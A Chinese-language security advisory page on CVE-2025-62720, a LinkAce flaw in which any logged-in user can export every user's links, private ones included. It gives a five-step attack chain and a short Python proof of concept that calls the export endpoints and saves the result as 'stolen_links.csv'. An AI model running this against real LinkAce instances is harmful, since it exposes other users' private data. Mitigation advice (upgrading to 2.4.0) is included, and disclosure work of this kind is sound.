IPBUF安全漏洞报告
English
CVE-2025-62720 CVSS 6.5 中危

CVE-2025-62720 LinkAce ExportController 权限绕过漏洞

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-62720
漏洞类型
访问控制绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LinkAce

相关标签

访问控制绕过越权访问数据泄露LinkAce权限验证缺失CVE-2025-62720

漏洞概述

LinkAce是一款自托管的网站链接存档工具,用于收集和整理网页链接。2025年11月披露的安全漏洞显示,LinkAce 2.3.1及以下版本存在严重的访问控制绕过问题。任何已认证用户都可以通过导出功能获取系统中所有用户的完整链接数据库,包括本应受保护的私有链接。该漏洞存在于ExportController类的HTML和CSV导出函数中,这些函数在检索链接时未应用任何所有权或可见性过滤机制,绕过了应用程序其他地方实现的所有访问控制。攻击者只需拥有普通用户账户即可利用此漏洞窃取大量敏感数据,包括其他用户的私有链接信息。此问题已在2.4.0版本中得到修复。

技术细节

漏洞根源在于ExportController类的导出功能缺乏权限验证。具体问题包括:1) 导出函数直接查询数据库获取所有链接记录,未使用where条件限制当前用户可见范围;2) 未复用应用程序其他模块中已实现的访问控制检查逻辑;3) HTML和CSV两种导出格式均受影响。攻击者利用方式简单:使用任意已认证账户登录系统,构造导出请求即可触发漏洞。恶意用户可通过遍历导出操作获取竞争对手的私有链接资源、内部业务URL等敏感信息。修复方案是在导出查询中添加用户ID过滤条件,确保用户只能导出自己拥有的链接。

攻击链分析

STEP 1
信息收集
攻击者识别目标站点使用LinkAce应用,通过版本探测确认版本<=2.3.1
STEP 2
账户创建
攻击者注册普通用户账户或利用已有账户登录系统获取有效认证令牌
STEP 3
权限绕过
攻击者访问导出接口(/api/export/links/html或/csv),系统未验证链接所有权
STEP 4
数据窃取
导出功能返回全量链接数据,包含其他用户的私有链接和敏感URL
STEP 5
数据利用
攻击者下载CSV/HTML格式数据,进行后续攻击或出售敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-62720 PoC - LinkAce Access Control Bypass # Target: LinkAce <= 2.3.1 # Attack: Authenticated user can export all links including private ones base_url = "http://target-host:8100" # Step 1: Login with any valid user account login_url = f"{base_url}/api/auth/login" login_data = { "email": "[email protected]", "password": "password123" } session = requests.Session() response = session.post(login_url, json=login_data) token = response.json().get('access_token') # Step 2: Export all links (bypass access control) # The export function does not filter by ownership headers = {"Authorization": f"Bearer {token}"} # Export as HTML html_export_url = f"{base_url}/api/export/links/html" html_response = session.get(html_export_url, headers=headers) print(f"HTML Export Status: {html_response.status_code}") print(f"Contains private links: {'Private Link' in html_response.text}") # Export as CSV csv_export_url = f"{base_url}/api/export/links/csv" csv_response = session.get(csv_export_url, headers=headers) print(f"CSV Export Status: {csv_response.status_code}") # Step 3: Parse and save stolen data if csv_response.status_code == 200: with open('stolen_links.csv', 'w') as f: f.write(csv_response.text) print("All links exported successfully - Access Control Bypassed!")

影响范围

LinkAce < 2.4.0

防御指南

临时缓解措施
立即将LinkAce升级到2.4.0版本。临时措施包括:限制导出API的访问频率,监控异常导出请求日志,对导出功能添加额外的权限校验中间件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表